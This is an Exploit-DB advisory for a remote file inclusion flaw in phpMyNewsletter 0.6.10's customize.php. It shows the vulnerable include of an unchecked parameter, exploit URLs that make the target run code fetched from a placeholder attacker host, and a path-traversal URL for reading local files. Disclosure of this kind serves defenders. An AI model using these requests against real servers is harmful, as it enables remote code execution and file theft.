phpMyNewsletter 0.6.10 - 'customize.php' Remote File Inclusion

Author: frog-m@n
type: webapps
platform: php
port: 
date_added: 2007-04-03 
date_updated: 2016-11-15 
verified: 1 
codes: CVE-2002-1887 
tags: 
aliases:  
screenshot_url:  
application_url: http://www.exploit-db.comphpMyNewsletter_v0.6.10.zip

Product : phpMyNewsletter
Tested version : 0.6.10
Website : http://gregory.kokanosky.free.fr/phpmynewsletter/
Problem : include file

PHP code :
°°°°°°°°°°
---- /include/customize.php ----
<?
$langfile = $l;

include $l;
?>
---- /include/customize.php ----

Exploit :
°°°°°°°°°
http://[target]/include/customize.php?l=http://[attacker]/code.txt&text=Hello%20World
With in http://[attacker]/code.txt :
<? echo $text; ?>

or
http://[target]/include/customize.php?l=../path/file/to/view

Patch :
°°°°°°°
Autor has been alerted and last version (0.7beta1) has been patched.

More details
- in french :
http://www.frog-man.org/tutos/phpMyNewsletter.txt
- translated by Google :
http://translate.google.com/translate?u=http%3A%2F%2Fwww.frog-man.org%2Ftutos%2FphpMyNewsletter.txt&langpair=fr%7Cen&hl=en&ie=ISO-8859-1&prev=%2Flanguage_tools

frog-m@n

# milw0rm.com [2007-04-04]